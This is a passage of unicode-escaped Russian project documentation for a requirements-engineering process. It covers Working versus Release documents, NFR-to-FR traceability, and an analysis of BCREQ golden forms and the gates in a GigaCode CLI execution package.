\u0438\\n\u0443\u043c\u0435\u0441\u0442\u043d\u0443\u044e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u0435\u043b\u044f \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044e. \u041a\u0430\u0436\u0434\u044b\u0439 NFR \u043e\u0431\u044f\u0437\u0430\u043d \u0441\u0441\u044b\u043b\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 FR.\\n\u041f\u0440\u0438\u0437\u043d\u0430\u043a `requires_backward_compatibility` \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e FR \u0438 \u043f\u0440\u0438 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c\\n\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0432 FR, \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445, edge cases \u0438\\n\u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u043c \u0434\u0438\u0437\u0430\u0439\u043d\u0435. \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u0443\u044e \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0443 \u0438 \u0441\u0430\u043c\u0430 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 `G-release`.\\n\\n\u0422\u0435\u0440\u043c\u0438\u043d\u044b Working/Release \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0430 \u043d\u0435\\n\u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0435\u043c, \u0447\u0442\u043e BABOK, IREB \u0438\u043b\u0438 TM Forum \u043f\u0440\u0435\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0441 \u0442\u0430\u043a\u0438\u043c\u0438\\n\u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u043c\u0438.\\n\\n## Motivation\\n\\n\u0410\u043d\u0430\u043b\u0438\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0439 issue #607 \u043f\u043e\u043a\u0430\u0437\u0430\u043b \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432 \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u043c\\n\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u043c.\\n\\n| \u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 | \u0420\u0438\u0441\u043a | \u0422\u0440\u0435\u0431\u0443\u0435\u043c\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 |\\n| --- | --- | --- |\\n| \u0412 \u0445\u043e\u0434\u0435 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b, UI-\u0434\u0435\u0442\u0430\u043b\u0438 \u0438 edge cases \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043d\u043e \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0442\u0435\u043a\u0441\u0442. | \u0415\u0441\u043b\u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0438\u0445 \u0440\u0430\u043d\u043e, \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435; \u0435\u0441\u043b\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u0441\u0451, \u043a\u043b\u0438\u0435\u043d\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0440\u0430\u0431\u043e\u0442\u044b \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u041f\u043e\u043b\u043d\u044b\u0439 Working baseline \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u0430\u044f Release-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u044f. |\\n| \u0420\u0430\u0437\u0434\u0435\u043b 2.3 \u00ab\u0417\u0430\u0434\u0430\u0447\u0438\u00bb \u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u043a\u0435\u0439\u0441\u0430\u0445 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u043b FR, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0434\u0435\u0442\u0430\u043b\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u041e\u0434\u0438\u043d \u0441\u043c\u044b\u0441\u043b \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u043c\u0435\u0441\u0442\u0430\u0445 \u0438 \u0440\u0430\u0441\u0445\u043e\u0434\u0438\u0442\u0441\u044f. | \u0417\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u044f\u0432\u043d\u043e\u0439 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f; \u0437\u0430\u0434\u0430\u0447\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044e \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. |\\n| NFR \u043f\u043e\u044f\u0432\u043b\u044f\u043b\u0438\u0441\u044c \u043a\u0430\u043a \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u0436\u0435\u043b\u0430\u043d\u0438\u044f \u0438\u043b\u0438 \u043a\u0430\u043a \u043f\u0440\u043e\u0446\u0435\u043d\u0442\u044b, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043a \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e. | \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0441\u043b\u0435\u0434\u0438\u0442\u044c \u043a \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0431\u0435\u0437 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0438. | \u0422\u0438\u043f\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 NFR \u0441 \u044f\u0432\u043d\u044b\u043c `applies_to_fr` \u0438 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c target. |\\n| \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0441\u0443\u0436\u0434\u0430\u043b\u0430\u0441\u044c \u043f\u043e\u0441\u043b\u0435 \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u041f\u043e\u0437\u0434\u043d\u0435\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 FR, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043d\u044b\u0435 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0443\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f. | \u0420\u0430\u043d\u043d\u0435\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043f\u043e \u0432\u0441\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438. |\\n| \u0414\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0433\u043e FR \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c UC \u0438\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f; \u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 edge cases \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u0431\u0435\u0437 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430. | \u0412\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438, \u0434\u043e\u0434\u0443\u043c\u0430\u043d\u043d\u0430\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0438\u043b\u0438 \u043d\u0435\u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435. | \u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 trace-\u0433\u0440\u0430\u0444 \u0438 \u0433\u0435\u0439\u0442\u044b \u043c\u0435\u0436\u0434\u0443 \u0441\u0442\u0430\u0434\u0438\u044f\u043c\u0438. |\\n| \u0414\u0432\u0430 JSON-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u0431\u0430\u0439\u0442-\u0432-\u0431\u0430\u0439\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u044b\u043c\u0438. | \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0430\u0439\u043b\u043e\u0432 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432. | \u0414\u0435\u0434\u0443\u043f\u043b\u0438\u043a\u0430\u0446\u0438\u044f evidence \u043f\u043e checksum \u0434\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430. |\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u0430 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u00ab\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0433\u043e\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u00bb. \u041e\u043d\u0430 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u0430: \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u043b\u0438 \u0434\u043e \u0440\u0435\u043d\u0434\u0435\u0440\u0438\u043d\u0433\u0430 \u2014 \u043f\u0440\u0438\\n\u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0432\u044b\u0431\u043e\u0440\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, \u0443\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d\u0438\u0438\\ntrace. \u0421\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u043d\u0443\u0436\u0435\u043d \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u043e\u0432\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d.\\n\\n\u0412\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445\\n\u0444\u0430\u043a\u0442\u043e\u0432. \u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0435 JSON/TXT \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u043d\u044b\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u043d\u0435 \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0438\\n\u043f\u043e\u0434\u043b\u0435\u0436\u0430\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044e \u043f\u043e\u0441\u043b\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430.\\n\\n## Goals and Non-goals\\n\\n### Goals\\n\\n- \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0440\u043e\u043b\u0438 Working Document \u0438 Release Document \u0431\u0435\u0437 \u0434\u0432\u0443\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432\\n  \u0438\u0441\u0442\u0438\u043d\u044b;\\n- \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0442\u0430\u0434\u0438\u0438, \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0435/\u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0435\\n  \u0433\u0435\u0439\u0442\u044b;\\n- \u0440\u0435\u0448\u0438\u0442\u044c \u0441\u0443\u0434\u044c\u0431\u0443 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 2.3;\\n- \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e NFR \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u043c FR;\\n- \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u0440\u0430\u043d\u043d\u0438\u043c \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u043e\u043c FR, UC, edge cases \u0438 \u0434\u0438\u0437\u0430\u0439\u043d\u0430;\\n=== docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md\\n\\n# \u042d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u043e\u0441\u0442\u044c \u0432 RG-BCREQ-v1\\n\\n## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u0415\u0434\u0438\u043d\u0430\u044f \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 \u0441\u0435\u043c\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u0430 \u043a API, \u041b\u0438\u0447\u043d\u043e\u043c\u0443\\n\u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0443 \u0438 \u041a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0443. \u041e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0441\u043a\u0435\u043b\u0435\u0442, \u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 4\\n\u0438 7. \u0420\u0430\u0437\u0434\u0435\u043b 3 \u0432\u043e \u0432\u0441\u0435\u0445 \u0442\u0440\u0451\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\\n\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u0435\u0440\u0445\u043d\u0435\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f; \u043f\u043e\u043b\u044f, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f, \u044d\u043a\u0440\u0430\u043d\u044b, \u043c\u0435\u0442\u043e\u0434\u044b, \u043e\u0448\u0438\u0431\u043a\u0438 \u0438\\n\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0438 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e.\\n\\n\u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n[`execution-package-gigacode-cli`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli)\\n\u043c\u043e\u0436\u0435\u0442 **\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u044c** \u0442\u0430\u043a\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0441\u0432\u043e\u0438\u043c\u0438 14 \u0441\u043b\u043e\u0442\u0430\u043c\u0438, \u043d\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\\n**\u043d\u0430\u0434\u0451\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c** \u0435\u0433\u043e \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u0443, \u0441\u0441\u044b\u043b\u043a\u0438 \u0438\\n\u043f\u043e\u043b\u043d\u043e\u0442\u0443 \u0441\u043b\u043e\u0442\u043e\u0432, \u0430 \u043d\u0435 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438, \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0441\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u0438\u043b\u0438\\n\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043d\u0430\u0432\u044b\u043a \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u0430\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u0438 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0424\u0422 \u0438 \u0442\u0435\u043c \u0441\u0430\u043c\u044b\u043c \u043f\u043e\u043e\u0449\u0440\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u043d\u043e\u0441 \u043f\u0440\u0430\u0432\u0438\u043b UI \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a \u0432\\n\u0440\u0430\u0437\u0434\u0435\u043b \u0424\u0422. \u042d\u0442\u043e \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u044f\u0437\u044b\u043a\u043e\u0432\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438; \u044d\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0438 \u0435\u0433\u043e \u0433\u0435\u0439\u0442\u043e\u0432.\\n\\n\u0412\u043b\u0430\u0434\u0435\u043b\u0435\u0446 \u043f\u0440\u0438\u043d\u044f\u043b \u0442\u0440\u0438 \u0444\u043e\u0440\u043c\u044b \u043a\u0430\u043a \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u043a\\n[issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609)\\n\u0434\u0438\u0430\u043b\u043e\u0433\u0435. `accepted` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043f\u0440\u0438\u0451\u043c\u043a\u0443 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0444\u043e\u0440\u043c\u044b, \u043d\u043e \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435\\n\u043a\u0435\u0439\u0441\u043e\u0432 \u0432 runtime Golden Set: \u0434\u043b\u044f \u043d\u0435\u0433\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442\u0441\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0432\u0445\u043e\u0434\u044b, \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0435\\nassertions \u0438 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 human gate. \u041e\u0446\u0435\u043d\u043a\u0430 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e runtime \u043d\u0438\u0436\u0435 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a\\n\u0441\u043d\u0438\u043c\u043a\u0443 \u0434\u043e [PR #604](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/604);\\n\u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0430 \u0432\\n[\u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n## \u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u0430\u0437\u0430 \u0438 \u043c\u0435\u0442\u043e\u0434\\n\\n\u0412\u0441\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f [issue #601](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/601)\\n\u0431\u044b\u043b\u0438 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438. \u0412 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c PDF,\\nJSON-\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u044b, \u0442\u0435\u043a\u0441\u0442 \u0434\u0438\u0430\u043b\u043e\u0433\u0430, \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0438\u043b\u0438 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.\\n\\n| \u0412\u0445\u043e\u0434 | \u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0432 \u0441\u0438\u043d\u0442\u0435\u0437\u0435 |\\n| --- | --- |\\n| `BCREQ-729.pdf`, 10 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 | API-\u043f\u043e\u043b\u044f \u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0424\u0422; \u043f\u0440\u0438\u043c\u0435\u0440 